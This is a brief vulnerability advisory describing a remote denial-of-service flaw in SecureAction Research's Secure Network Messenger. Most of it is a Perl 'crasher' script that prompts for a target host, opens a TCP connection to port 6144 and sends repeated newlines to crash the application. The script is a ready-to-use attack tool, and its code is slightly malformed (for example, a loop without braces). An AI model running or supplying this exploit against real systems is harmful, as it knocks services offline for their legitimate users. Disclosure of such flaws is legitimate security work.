A remote denial of service vulnerability affects SecureAction Research Secure Network Messenger. This issue is due to a failure of the application to properly handle exceptional network data.
An attacker may leverage this issue to cause a computer running the vulnerable application to crash, denying service to legitimate users.
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
$socks = IO::Socket::INET->new(
Proto => "tcp",
PeerPort => "6144",
PeerAddr => "$h"
) or die "\nNo response from host.";
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
print $socks "\n";
select(undef, undef, undef, 0.1);
print "\nMessenger crashed.";